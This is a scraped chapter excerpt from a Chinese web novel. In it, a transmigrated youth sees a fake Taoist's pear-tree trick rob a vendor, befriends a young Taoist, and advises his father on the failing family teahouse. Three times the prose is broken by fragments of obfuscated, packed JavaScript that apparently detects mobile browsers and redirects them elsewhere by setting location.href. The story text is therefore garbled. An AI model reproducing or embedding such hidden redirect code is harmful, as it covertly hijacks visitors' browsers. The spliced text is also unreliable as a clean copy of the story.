丁再昌又说:“你家的糕点又精美又好吃,你家的茶叶也不错,一喝便知是今年的新茶;再加上这装潢,一看就知是花了大价钱的,墙上挂的还有名家画作和题字,想来令尊既花了心思又花了钱。就连地段,也是熙熙攘攘的热闹街市......” 李钰嫌他墨迹忙催促他说重点。 丁再昌便直言道:“可你看,来喝茶的人却没有多少。” 李钰一愣,对呀,他们家无论哪一处,应当都是在城里很拿得出手的,怎么好像这几次来,茶楼几乎算是门可罗雀,这如何能经营长久? 他之前是抱着出来玩的心思没有在意,被丁再昌这么一提醒,难不成以往老爷子都在这里亏钱的吗?就这还以商补农? 李钰又看向对面,是他们家的客栈,比之茶楼更加的豪华气派,整条街就属他们家客栈最为华贵的。他在里面吃过几次饭,菜品也不错,但似乎住客和食客也不多。 李钰摸了摸下巴,他来了这么多次都没注意这些,没想到这小小读书人第一次来,就察觉了他们经营上的问题,便也学丁再昌拱了拱手说道:“多谢师弟提醒,不知有何高见?还望贤弟不吝赐教。” 丁再昌面露难色,“我也不懂经商之道,只是看这茶楼里面各处都好,却没什么客人,感到奇怪才有此一说,哪里能有什么高见?师兄不嫌小弟唐突才是。” 也是,让视金钱如粪土的读书人讲如何经商,在这个时代简直可以说是侮辱人了,李钰暗自懊恼,还好小丁不是小气的人。他忙找补道:“是愚兄太不上进,竟然没有注意这些显而易见的事,多亏师弟提醒。家父也甚少在我面前提及这些事,回去之后我定要跟家父好好商量如何改进。” 这一段告落,二人又聊起别的趣事,可这经营的问题也在李钰心中暗暗落下一笔。 就在此时,二楼楼梯处传来小二殷勤招呼的声音,李钰抬眼一看。上来了一位身着道袍的客人,这位道长面容俊美、身姿飘逸,一派世外高人的模样,一看就非是寻常人。那道人直直走向了两人旁边的一扇窗前的位置坐下。 4. 种梨 按道理讲,李钰因为原身是被妖和尚所害,对这些所谓的和尚道士都有些提防。可这年轻道人长相着实出众,说是龙章凤姿也不为过,实在让人心生好感。这般想着,他心中忽然警铃大作,这里可是聊斋的世界,别是什么妖精变的吧? 想到这,他立刻收回目光不敢再多看了,正好错过了那位年轻道长抬眸看向他的视线。 “我都说了我不给,我这都是要卖钱,凭啥要给你啊!滚滚滚,一边去!” 带着怒气的声音从窗外传来,李钰立马被转移走了注意力,从二楼窗口往下瞧去。原是路旁卖梨的小贩正对着一个穿着破烂的道袍的老头叫骂。 那老头说是道士也不尽然,一身破烂道袍就跟捡来的差不多,与其说是道士不如说是乞丐。李钰忍不住又觑了邻桌的年轻道人一眼,看看,同样是道士,混得也是天差地别的。 一旁的路人看不过眼,劝道:“你那一车梨那么多,你给人一个打发了不就行了,何必骂人呢?” 有人一出声,旁边看热闹的路人们便纷纷响应。 “就是,人家道长也是饿急了,问你讨个梨,有什么大不了的。” “这也太抠门了!做人啦,还是心善点好。” 卖梨的小贩被众人说得面红耳赤,看着罪魁祸首的老头更是怒火中烧,但又不敢再犯众怒,只扭头看向别处讷讷不语,但也固执地不肯给梨。 可那老头也是奇怪,硬是守在梨贩摊前不走,就要吃他的梨。 李钰有些奇怪,这卖梨的实在不给就算了,楼下摊贩那么多,帮老头说话的也多,那老头为何不去问别人要吃的,非得要吃这梨呀?还要受这小贩的气。 丁再昌摇摇头说:“世风日下,卖梨人虽是吝啬,但那些人嘴上劝卖梨的小贩施舍,旁边其他卖果子馒头的也没见人主动给一个。” 李钰看得无聊,抬手招来小二,“你去帮那老汉买个梨给他打发了,都堵在我们茶楼门口也不像样。” 小二忙接过钱应声去了,可这小二年纪小不知变通,说买一个梨,还真就只买了一个给了那老头,大方地说道:“你去一旁吃吧,我们还要做生意呢。大家都散了散了,别堵在我们门口了。” 老头接过梨连连道谢:“多谢多谢,小哥心善,我吃梨也不是为了自己,是为了这梨的核。” 小二不明所以,老头笑笑,当着小二的面就吃了起来,几口下肚便将那梨核吐在手心给小二看。 “小哥你可看好啦,为了报答你的恩情和大家伙的仗义执言,我便露一手,请大家都吃梨。” 原本周围看热闹的人就没有走,听老头这么说,更是不舍得挪步了,在李家的茶楼前围了个水泄不通。 李钰扶着窗框站了起来,眉头紧皱,这又是要干什么? 只见那老头还算识趣,挪了几步到茶楼旁边一角,众人也跟着走,将大门前的位置让了出来。 老头走到墙角挖了个小坑,将梨核埋了起来。他拍了拍土,起身又对小二说:“我这梨不一般,需要滚水浇灌才长得出来,还请小哥再借我一壶水。” 小二虽然面上不信,但还是屁颠颠地进茶楼提了壶滚水出来。老头一把接了过来,缓缓将水浇在方才埋梨核的那片土上,地上渐渐水雾蒸腾,看不明晰。 不知是谁叫了一声,“快看!真的发芽了!” 人群霎时沸腾,人头攒动间楼上的李钰和丁再昌更看不分明了,急得身子都探出窗外,伸着脖子瞅。 不多时,人群中渐渐有一棵枝叶繁茂的梨树冒了出来,眼见着枝叶不断生长舒展开来。 两人皆露出震惊之色,丁再昌奇道:“居然真的种出来了!” 李钰也一脸不可思议,眼睁睁看着这梨树长成,又花开花谢,竟真的结出了果实来!而这前后不过半盏茶的时间。 这梨树上的梨颗颗饱满,一看就是精心培育出来的,围绕着梨树的众人都能闻到果实散发的清甜香味。 周围的人纷纷赞叹,“道长竟是高人啊!” “这是仙术吧!” 老头又向已经看呆了的小二借一把斧头,小二无有不应,赶忙进后院拿了来。老头拎起斧头三下五除二就将梨树砍倒,他把斧头扔在一旁,伸手摘下一颗梨,咬了一口道:“好好,真是生津止渴。” 他又摘下好些梨子,一边分给旁边的众人,一边说:“说了请大家吃梨,老夫绝不食言,剩下的就请大家分了吧。” 周围的人纷纷接过,没有拿到的人也不客气地一拥而上,不多时就将树上的梨摘了个干净。 此时有人再去找那老头,人已经不见了。 小二因为几次出手帮忙,老头最先分了他好几颗梨,他捧着梨跑上二楼,邀功似的放在李钰面前开心道:“少东家快吃,这道士种出来的也不知是不是仙果?说不定能延年益寿呢!” 邻桌传来一声轻笑,正是那个长相英俊的年轻道人。 李钰拿起梨看了看,确实又新鲜又水灵,闻着也不像有什么问题。不待他张嘴品尝,楼下忽然又传来一声惊呼,还是那个卖梨的小贩。 “我的梨呢,我一车的梨怎么没了?!你们谁看到我的梨了?” 李钰和丁再昌又探头去看,那小贩的推车上梨竟是一个不剩,他那破旧的推车上甚至还少了一个把手,看起来就像是被砍断的。 方才所有人都在看热闹,包括小贩,谁都没注意他那一车梨。周围没人搭理小贩,小贩只有无头苍蝇般四处找梨,走到茶楼墙角处,刚刚被砍倒的梨树已经没了踪迹,留在地上的赫然就是推车上被砍断的车把手! 李钰见状哪里还不明白,他将手中的梨往桌上一放,那老头居然又是个江湖术士!不知用了什么障眼法,把人家小贩的梨和车给偷梁换柱成了他种的梨树。 丁再昌也不再碰那梨,摇头说道:“这小贩也是无妄之灾,他出来卖货不也是为了养家糊口,何必把人家吃饭的家伙全给送人了,就是教训人也不该如此行事。” 只见着那小贩已往城外追去,这时候哪里还追得上?果然,过了不久就见他垂头丧气地回来了。 周围的人也看明白了是怎么回事,但也都跟看笑话似的,彼此之间挤眉弄眼,时不时发出几声嘲笑,有的人手里还拿着吃了大半的梨。 场面极尽讽刺。 “这就太过分了吧!”李钰看得一肚子气,“纵使他因为吝啬被人说道几句也就罢了,但将人家辛苦劳动得来的成果平白夺了去,那跟小偷强盗有什么区别?” 虽说时下世人皆赞扬慷慨而对小气之人嗤之以鼻,可用李钰那个时代的话来讲就是,帮你是情分,不帮你是本分。人家做买卖的,凭什么就一定要把自己卖的货物白白给别人呢? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101328|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >小二见自家公子这么生气,便劝道:“少东家何必生气,那人连个梨都不愿意施舍老人,平日里肯定也是个一毛不拔的铁公鸡,让他长点教训也无妨。” 李钰一扬手中折扇轻敲到小二脑袋上,这就造谣上了?就算真是铁公鸡又损害谁的利益了?还有那老头砍柴的架势,跑路的速度,更别说那一手法术,能真是什么可怜老乞丐吗? 李钰正要好好跟小二掰扯两句,邻桌的年轻道人招呼小二收钱,起身走了。 丁再昌皱着眉,也是一脸不认同,“那人不只是偷盗别人的货物,还将人家运货的工具也毁了,如此断人财路的行径,仅仅是为了教训?就算那小贩真是铁公鸡,而此人也不见得是多么宽广的心胸。” 果然还得是读书人啊,说出了我心声!小丁不愧是我在这个世界认的第一个朋友。 小二闻言则是无所谓地撇撇嘴。 这时再看楼下的梨贩,他不知从哪里翻出一根草绳,想把砍断的板车车把接回去,那身影在熙熙攘攘的人群中显得格外笨拙和孤独。 李钰叹气,要不是自己让人去给那老头买梨,指不定没这些事呢。他心里面不落忍,又有些愧疚,便叫小二将那小贩叫上来。 时下的小老百姓见着穿着华贵的人,不论对方是不是官宦人家,都有些低人一等的感觉。小贩在李钰面前就显得有些局促不安,想着之前这家茶楼的人还帮了那老头,现在不知道是不是也要教训自己,或是说些风凉话给自己难堪? 李钰让小贩也坐下说话,小贩唯唯诺诺应下,看着桌上自家的梨心下更是难受,迟疑着说道:“不知贵人叫小的有何事啊?” 李钰亲自给他倒了一杯茶,安抚道:“抱歉大哥,我当时叫小二去买梨给那老头,也没有想到后来能引出这些事端,害你失了这一车好梨,你的车也坏了。这样,你开个价,你的梨多少钱一斤?你的损失都算我头上,就当全被我买了。” 小贩先是一愣,接着面露惊喜,忙答道:“十五文,小的家的梨确实是比其他的贵一些,可我每次进城都挑的是最新鲜个大的好梨,这才卖得贵一点。” 说起他家的梨,他又叹了一声,“就因为这样,也就舍不得给那老头,我也是要养家的人。何况那梨也不好种,从幼苗到长成能结果,少说也要三到六年,那都是我们一家费了无数的心血才养成的,好不容易现在到了丰果期,全家老小就指着那么一小片果园活。这拿到城里来卖的,都是我和媳妇儿一个个精挑细选出来的,自己都舍不得吃,如何舍得白给他人啊?” 那小贩说着说着就哽咽了起来,想到今天因为一个梨,丢脸无所谓,可丢了一车货,那可都是钱啊!不是面前这个好心的公子,还不知回去如何跟家里人交代。 别说李钰看着不是滋味,作为县官之子的丁再昌也是五味杂陈。他家现在就在衙门住着,耳濡目染下也是知道一些乡民们的劳苦的,忍不住也唉声叹气。 李钰又让小贩估算一下自己车上梨的斤两,掏出二两银子给小贩,“这钱你拿着,这祸事多少有我惹出来的一部分,多的这一两你拿去重新买辆板车吧,你那车没有把手也推不回去,不能要了。” 小贩只觉这一天过得可谓是跌宕起伏,没想到峰回路转居然还有这么善心的人,此时反而生出些受之有愧来,他将钱推了回去,嗫嚅道:“公子这……这太多了。” 5. 白道长(一) 也不过二两银子,这小贩一车的货物还搭上车居然都算多了,为此把一个中年汉子逼得差点落泪,李钰心里更觉那老头的可恶,他温声道:“你就当我做善事,我非得给你钱我才安心,把钱收着吧。” 小贩这下是真的涌出泪来,立刻就感激得要给李钰跪下,李钰一个眼疾手快就拦住了。 小贩激动地说:“多谢公子,这是您家的茶楼吧,我记住地方了!下次来给公子带我们家最好最大最新鲜的梨。” 李钰不在意地点点头,嘱咐他早点回去,小贩拿上钱也不多逗留,匆匆走了。 “早听父亲夸李老爷是行善积德之人,往年养济院得李老爷不少捐赠。如今看师兄果真是有乃父之风,此等救济乡民的善举,我回去就跟私塾里的同窗多多宣扬。”丁再昌一脸佩服道。 “我可求你了,这么点小事也要到处说,别给我戴这么高的帽子。”李钰服了。 听李钰这么说,丁再昌更来劲了,抱拳行礼道:“行善事不留名,师兄的格局实在不是小弟能相比的。” 李钰还能说什么呢?只得又叫来一盘糕点堵住丁再昌的嘴。这番小插曲后,两人又喝茶吃糕,聊起城里的趣闻。 正说得开心,楼梯处又传来脚步声,居然是那个年轻英俊的道士去而复返了。 年轻道长走到二人桌旁停下,当着他俩的面掏出一块金锭在桌上放下,风轻云淡的开口道:“这是刚才那个假道士赔给你的。” 李钰“咕咚”一声将含在口里的茶水吞下,“那个种梨的老头?” 年轻道士点点头,“是,他不过是会些障眼法和隔空取物之法,便装作四处游历的道门中人,取不义之财,败坏道门名声!” “那不应该赔给……” “那个小贩我已经去找过了,他将你做的事都说了,所以这金子我就拿来给你了。” 哇,没想到自己一时不忍给出去的钱换来的却是数倍的回馈!他掂量掂量那小金锭,这几两啊?不管多少都是他赚了!李钰拿着金锭爱不释手,心算着放现代值多少钱。 丁再昌轻咳了一下,他才收起见钱眼开的嘴脸,说:“这位道长你把那个假道士怎么啦?” 年轻道人也不答话,只是高深莫测地勾起唇角,眼里仿佛还带着丝兴味。 李钰莫名打了个冷颤。 “以其人之道还治其人之身罢了。” 感情你这是从他那抢来的?!李钰二人一脸的难以言喻。 “怎么?放心吧,他不敢找我麻烦的,逃得比兔子还快。”年轻道人如此说道。 “其实道长也不必如此,您这般实力完全可以将他扭送至衙门,我爹呃……知县大人会秉公审理哎哟!” 李钰在桌下踩了丁再昌一脚,止住了他的话头,不愧是知县之子,确实觉悟很高。但这道人一看行事就非常人,况且人家事都做完了,让丁再昌说多了生气了咋办?反正人也教训了,就这样吧。 不过想来这人行侠仗义又似乎真有道行,长得还这么好看,应当是个靠谱的道长吧,不如打听下他的来历好了。 李钰请年轻道人坐下聊,那道人也不似外表看上去的那么高冷,从善如流地坐下。 见他行事毫不扭捏,李钰心头更增好感,殷勤地和他攀谈起来,“多谢道长仗义相助,不知道长在哪处道观修行啊?” 年轻道人想了想道:“我原本是在华山池修行,如今下山四处游历。” 丁再昌瞪大了双眼,惊道:“那可是传说中洞天福地啊,难怪道长有如此道行!敢问道长高姓大名?” “在下,白行野。”白行野盯着李钰报上大名。 李钰倒是不知道什么华山池在何处,但听丁再昌这么说,感觉像传说中的仙境一般,他估摸着实际可能就跟武当山、龙虎山差不多吧。 “原来是白道长,道长年轻有为,今日轻易就将那假道士收拾了,真是令我等开了眼。”丁再昌态度变得恭敬起来。 白行野不甚在意地道:“是那假道士只会一些幻术,并无真才实学,教训他并不费力。” 李钰本想听他详细说说,倒是没想着对方不接茬,三言两语就挡回来了。没法子,他便只能请对方喝茶吃糕点,好在他们家糕点师傅的手艺让白行野甚为满意,连吃好几块,害得丁再昌都不好意思伸手跟他抢。 而一旁的李钰却忽然有了个想法,古代有些达官贵人都有自家供养的寺庙或道观,甚至会请白行野这样的道长到家里养着。也不知道他们家有没有这么多的钱能请一个道长回去镇宅?只养一个道长又不是建家庙,应当还是可以的吧? 毕竟自从知道自己是在聊斋的世界中以后,他心里始终有些害怕。家里虽说已经有一个“保家鬼”了,但是詹贵儿毕竟只是个小孩,他也没真指望对方能保护个什么。若是白行野这样看起来就很厉害的道长,倒是可以考虑。 于是,李钰抱着试试看的心态问道:“不知白道长如今是在何处下榻?” 白行野回道:“今日刚到此处,还没来得及找地方投宿。” 那感情好啊,真是打瞌睡了送枕头来呢! 李钰连忙说:“今日相识也是缘分,对面的客栈就是我家开的,今晚我做东请二位去我家客栈吃饭,晚些时候道长您就在客栈住下,想住多久住多久。”他又顿了顿,试探着说,“如果嫌客栈吵,回我家住也行啊。” “好啊。”白行野意外的答应得很爽快。 呃……这个“好啊”是答应的哪一部分?还是直接答应的最后回他家的提议? 虽说本来就是想邀请白行野去他家的,可这人真答应了,反而又让人觉得有点太不客气了。难道这就是道门中人,不讲那么多的人情世故? 李钰心中隐隐觉得有点奇怪,但话已出口只得再见机行事。 等到太阳落山,三人过了个街就移步到对面的客栈去。李家的客栈是回字形结构,内部比外面看起来的大得多,一楼大堂是吃饭饮酒的区域,二楼一半雅间一半客房,三楼就都是客房了。 少东家今日带友人来,这可是头一回,待遇自然不同,掌柜选了二楼最好的雅间招待三人。 李钰将店内的招牌菜一一点上,又点了壶好酒,今天出门吃吃喝喝还赚了钱,又在自家吃饭,丝毫不用心疼银子。丁再昌因下午吃太多糕点了,都没吃下多少,反倒是白行野像是胃口很好的样子,晚饭依旧吃了很多。李钰看他吃得香,跟看吃播下饭一样,也不由多吃了一些,直到肚子滚圆才停下筷子。 他们三个人点了八道菜居然吃完了,李钰心中打着小算盘,这道长也太能吃了,以后也不知道养不养得起? 另外两人自然不知道李钰心中所想,推杯换盏间,丁再昌也不知是喝多了还是放开了,竟同白行野称兄道弟劝起酒起来。白行野起初脸上还有些说不清道不明的表情,似乎是有些迷惑?而后架 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101329|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不住丁再昌的兴致,来者不拒起来,喝酒跟喝水似的。 这画面让李钰想到水浒传里面的英雄好汉结交的场景,路见不平一声吼,喝碗酒就成朋友。只是眼前这两人,一个清秀书生一个道门中人,看起来实在和绿林好汉们不搭边。 走的时候李钰雇了个小轿,遣人把丁再昌送回去,希望丁知县不会觉得自己带坏他儿子。 白行野则很自然地跟李钰回家,李钰此时也想散散酒气,二人便一道步行回去。 晚上这小风一吹,李钰脑子清醒了一点,忽然想起来自家还有一个小鬼,别道长一到家就把人给收了。 李钰犹豫半晌,这该怎么跟白行野说呢? “怎么了?”白行野见他欲言又止的模样,便主动问道。 “有一事不敢隐瞒道长。”李钰还是选择直说,“我家中因一些缘故,现今有个鬼魂住着,是个被人害死的苦命小孩,他不害人的!在我家跟自家小孩没两样,您到时候看到他……可别收他呀。” 白行野听闻此言,面色却未变,只是问道:“你为何要养着这么一个小鬼?” “这就说来话长了。”李钰便将自己被妖和尚所害,詹贵儿找上门来求庇身之所的事一五一十说了出来,只是隐去了自己实则也是借尸还魂而来的。 李钰说得来劲,二人越走越慢,说完之后,白行野忽然停下脚步,盯着李钰的眼神中带着一丝探究,他说:“这么说你醒来后便开了灵智?” 这话说的,我是什么动物妖怪吗? 李钰心中不满,嘴上打着哈哈,“我爹娘都说这叫大难不死必有后福,或许是去鬼门关走了一趟,把魂儿给捡回来了吧。” 白行野依旧似笑非笑地看着他,“是吗?” “应……应该是这样吧,世上奇异之事太多了,此中玄妙白道长应该有所体会吧。”李钰被他看得心惊,这道士不会能看穿人魂魄吧! 白行野收回目光,转移了话题,“你就不怕这小鬼害你?如今他未作祟不代表以后也不会。” 李钰和詹贵儿好歹也相处了几个月,对方真跟普通小孩儿没什么区别,甚至因为经历了太多,算是很懂事的。 “我觉得吧,这鬼啊妖啊的其实和人也差不多,人里面有好人坏人,鬼妖之中当然也有好坏之分了。” 李钰观察着白行野的脸色,见他并未反驳,继续道:“我们看人不能只看表面,就像今天遇到的假道士,当时人人还说他是高人会仙术,实际呢,只是用幻术偷盗他人财物的小偷强盗一流。我家里这个小鬼,以前是被逼着去他人家里作祟,但他一直都知道他自己所为是错事。现在在我们家也每天尽职尽责地四处巡视,有模有样的保护家里呢!我知道他是想报恩也是想赎罪,一个小孩尚且有这样的想法,我何不给他一个重新做人……做鬼的机会呢?道长你这样问,不会是对鬼要有什么意见吧?” 李钰心想别招回去一个法海似的人,那小贵儿可就惨了。 白行野眉毛一挑,“难道在你心中,我是这么不分青红皂白的人吗?” 听他这么一说,李钰就放心了,他嘿嘿一笑,“自然不是。” 两人相视一笑,继续散着步往李宅走去。 “我觉得你的想法很对,世上之人多得是见到鬼妖便要打要杀的,哪怕是这些所谓的‘非我族类’并未对他们做出什么事。”白行野忽然又道,像是仔细想过李钰方才所言才说出来的。 6. 白道长(二) 难得遇到如此开明的道长,果然邀请他是对的,李钰忙不迭点头,“何止是鬼妖,人对人不也一样?常言道人心隔肚皮,害人的人指不定比害人的鬼和妖多了去了。” 想他穿越过来后的短短时日里,遇到的鬼没有害他,而那妖僧和假道士,一个害人性命,一个夺人财物,可不都是人害人? 白行野笑着点头,又正色道:“我认同你的说法,不过你还需多一些戒心,鬼妖之中也不乏吸人精气害人性命的,尤其你这样……俊俏的少年,很容易被狐狸骗的。” 李钰挠挠头,耳朵微红,他如此盛情邀请白道长的目的,可不就是为了在这异样的世界中防患于未然吗? 今日李钰回家有点晚了,家里老两口居然都守在正厅等他,看他回来还带了个年轻道长便好奇地问其来历。李钰忙介绍了一番,又添油加醋地将今日发生的事说了一遍。 李化和木若菱听完,再一看白行野目如朗星,气宇轩昂不像坏人,何况还帮了别人,当是正直又有真本事的人啊!想着自家孩子,此前多灾多难的,也动了同李钰一样的心思。尤其是木大娘子立刻热情地让人去收拾厢房,一边还劝说白行野,让他安心住下,多住些日子才好。 白行野看起来并不擅应付这般热情的场面,只是挂着浅笑微微颔首,李家人反而觉得更有高人姿态了。 李钰对正要出去的丫鬟柳桃道:“就收拾我院子里的房间吧,我和白道长住得近一点好,方便找他玩。” “你就知道玩,今天在外面呆了一天还没玩够?人家道长还要修炼,跟你似的就惦记着玩。”李化平时是典型的慈父,而现在在外人面前,却要摆出一副的严父的姿态,口头上教训着儿子。 哪知李钰丝毫没有反省,理直气壮道:“我可没只是在玩,最近几日我观察了一下咱们各个铺子的经营情况,茶楼和客栈大有问题需要解决!” “什什么问题?”李化当然知道有问题,只是没想到儿子居然当着娘子的面说出来,老脸挂不住,说话都有些打结了。 李钰故意展开折扇扇了扇,吊足人胃口才开口道:“父亲别急,等我过两天拿出个章程给您看,您就等着吧。” 木若菱捂嘴笑道:“我们珠儿如今越来越像个大人了。” 李钰余光瞟到白行野听到“珠儿”这个名字露出一丝玩味的笑容,面皮霎时一红,不耐烦地说:“好了好了,我今天累了,要去休息了。” 说着便拉着白行野急匆匆退下,往他的院子走去,不顾身后传来的李化不满地抱怨“臭小子”云云。 到了李钰的院子,他左顾右盼没见到詹贵儿,虽然今天有点晚了,但最好还是让他来见见白行野比较好,免得不知情冲撞了这位白道长。 “詹贵儿!小贵儿……”李钰高声喊了几声,可奇怪的是平日老在他院子里晃悠的小孩,今天怎么都不出来了,难不成被道长的气势吓到了? 白行野问道:“他叫詹贵儿?” “是的,”李钰不好意思地说,“他可能有点害怕你,不敢出来。” 白行野轻笑,缓声道:“我知道你在那,出来吧,我不会收你的。” 话落,詹贵儿这才哆哆嗦嗦的从廊柱后探出身来,脸上忐忑的表情看上去有些可怜,李钰走过去摸摸詹贵儿冰凉的小脑袋,把他带到白行野面前。 “这是白行野白道长,是我新认识的朋友。白道长是帮过我的人,不是外面那种凶巴巴坏心眼的江湖术士,你的事我都跟他说了,他不会对你不利的。”李钰轻言安慰。 詹贵儿怯生生地抬头看了白行野一眼,白行野面无表情地伸手碰了碰他的额头,詹贵儿只觉额心处似乎有一股暖流涌入身体中,非常的舒服。 李钰不知发生了什么,盯着两人看,“咦?小贵儿,我怎么感觉你的身体又凝实了一些,之前还有点半透明的样子。” “鬼越能凝练出实体,说明能力越强。那些孤魂野鬼自身难以聚灵修炼,往往通过在阴邪之地修炼,或吸食人的精元增加修为,可他的身上并无吸食人气的痕迹,可见他之前确实未曾危害过你家里人。”白行野解释道,“所以我便给他注入了一点灵气,就当见面礼吧。当然,他想要隐藏自己的时候,也可以隐去身形。” 詹贵儿这下真信了这位白道长不会害自己了,感激道:“谢谢道长哥哥,小子感激不尽。” 李钰也开心,看来真不算白疼这小孩,白道长也真是个好人。于是李钰对他的称呼也亲切起来,“白兄,这灵力我拿来能不能用啊?” 可白行野丝毫没给面子,“你不是修行人,灵力在你身体里面短暂呆上一段时间也会自行消解掉。” 李钰不放弃,“那我可不可以跟你一起修行呢?” 白行野垂眸看着他没有回应,无波无澜道:“我要去休息了。” 说罢,转身进了给他安排的厢房。 李钰:“……” 看不上我?难道我这么没有天赋吗? 李钰也只失落了一小会儿,就被这一天累积的倦意打败了。算了,睡醒了再说吧,于是转身也进了自己房内。 接下来的两天,李钰除了上课时间,其他时候老去找白行野。从一开始的找个大腿抱,变成了想偷师修行之法,自己要是实在没有慧根,好歹学点简单的术法也行。然而几次三番软磨硬泡下来,白行野那厮不为所动,就是两个字“不教”,反倒浪费了自己几坛好酒。 李钰郁闷极了,决心晾白行野几天,但又怕人跑了,私下吩咐家里人好好招待,自己做自己的事去了,毕竟他现在还有另一大要事。 果然,不出三天,李化老爷子等不及了,叫他过去问话。 “你不是说给我个章程吗?怎么见天的见不着你的人?”没有别人在,李化对儿子说话直接多了。 李钰不慌不忙道:“爹,这事啊,咱们不如去茶楼说吧。” 李化嘴里嫌弃儿子事儿多,但还是立即就安排出门。李老爷子平日从不说自家的经营状况,但这一年新开的茶楼也好客栈也好,确实是不怎么挣钱,尤其是茶楼,不是自家有茶园供给,他真是都想关了。两家都是亏损状态,全靠其他铺子撑着,他心里面也着急,又是换厨子又是加贵气好看的装潢摆设,就是不见成效。 父子俩这会儿来到茶楼,又见今日竟无人光顾,干脆直接闭店准备好好跟儿子聊了。 这才刚坐下,李化便急着问:“你小子可别卖关子了,有话就直接说,我这一天天愁的,你一点都不知道心疼老爹的。” 李钰笑嘻嘻地亲自给老爷子斟茶,勉强当作赔罪,清了清嗓子说道:“既然父亲这么说了,那我便问问您,您觉得咱们这茶楼有哪里不好?” 李老爷子思索半晌,“以我看来可真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101330|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想不出来哪不好,咱们这地界本就盛产好茶,要是放早些时候我们这儿还是贡茶区呢。但是这生意不好呢,我也是找了渠道去进了一些别处茶区的茶叶,结果也并未有所变化,那数量有限的几个老顾客还是爱喝咱们本地的茶。于是我又高价去金陵请了糕点师傅,还找了人脉帮我传出去,结果也无甚效果。而且为了揽客,我这价格定得也不高,跟我们这儿其他茶楼没什么区别。” 李化喝了口茶又叹道:“你说说我们家这茶叶品质,这糕点这般精美又可口,怎么就没人愿意来呢?你看就连我们家的装潢哪样不是用的好的,这桌椅板凳都是上好的榉木,这装饰的字画也好,瓷器也好也都出自名家……咳咳,至少是小有名气。我看我们这茶楼,那就样样都好,可这反倒没什么人光顾,你说急不急人!” 李钰摇着折扇,听着老爹这么一说,啪一声将扇子收起来,道:“爹,难道你没发现你刚刚说的这一堆就是问题所在吗?” 李化没明白什么意思,长大嘴巴:“啊?” “您都说了咱们的茶楼样样都好,那在别人眼里代表什么?” “呃……东家有品味?”李化犹豫着答。 李钰想幸好我现在没在喝水,这大金大红的跟对门客栈一个样,怎么扯到品味上的? “错!这代表样样都贵!”李钰嘴角抽搐道,“爹,您别忘了咱们这地界是什么地方?虽说咱们武进县是常州府府治所在,但和其他江南大府比却是比不上,您往楼下看看,这来来往往的都是些什么人?” 李化顺着窗缝往下一看,说:“布衣百姓、贩夫走卒,还有几个手上抱着书的穷书生,诶……也有管我们这儿漕运的董大人,刚从咱们客栈出来呢……” “您看看,这大部分的人都是普通百姓。”李钰无奈打断。 李化醍醐灌顶,目光灼灼地看向儿子,“你是说我们这装潢得太华贵,反倒是让大家望而却步了?” “可不是,您看路过的人渴了或是想找地方歇个脚,但是一看咱们店门口那金漆大牌匾就先给唬住了,更遑论进来问价格了。” 李老爷子好歹也是做生意的人,一点就通,只是以往被自己的喜好给框住了,觉得自己看来好的东西,在别人眼里一定也是趋之若鹜的。如今听儿子一说,颇有些不好意思道:“我还不是想这不就跟人靠衣装一个意思吗?是我想得还不够深入啊。” 说完,他眉头又一皱,“可就算改了装潢,靠这些贩夫走卒喝点散茶解渴,也就急匆匆走了,这又能赚多少钱啊?而且,我这糕点师傅也白请了。” 李钰又说:“这就是您选址也有问题了,客栈也就罢了,可这茶楼开在闹市中,您还想吸引些文人清客、士绅名流?想想我朝本就崇尚从简清饮之风,您弄得这般金光闪闪的,又在闹市之中,读书人也好,那些稍微有些追求的贵人们也好,那是看了也是不愿意进来的。人家都爱寻一处清雅之所,又何必来咱们这儿呢?” 李化脸更垮了,“我明白了,就是说我这儿是平民看了不敢进,文人和富家子弟看了又不愿进。难怪难怪啊……” “也不是没有办法。”对此李钰早就有了成算,他可不是真每日都在玩的,他提议道,“咱们除了得改装潢,还得换个招牌。” “这又是什么说法?”李化此时已经颇有些洗耳恭听之态,十分认真地听儿子出谋划策。 7. 兴铺小计 “首先我们得将这些钩金描边的东西撤掉,整体要有素雅怀古之感,那些追求风雅的读书人就喜欢这套。所以呀,咱们这大红朱漆的门头柱子都得重刷,你那螺钿栏杆和茶柜也不能要了,就要这自然朴素的青砖黛瓦、白墙栗柱、青灰砖地、湘妃竹帘……嗯,装饰字画倒是可以留下。” “这……是不是也太粗陋了?”李化不确定地问。 “那是因为您之前弄得就太精致华贵了,您看看这条街上,我们才是那格格不入的那个。” 李化妥协道:“好吧,你接着说。” 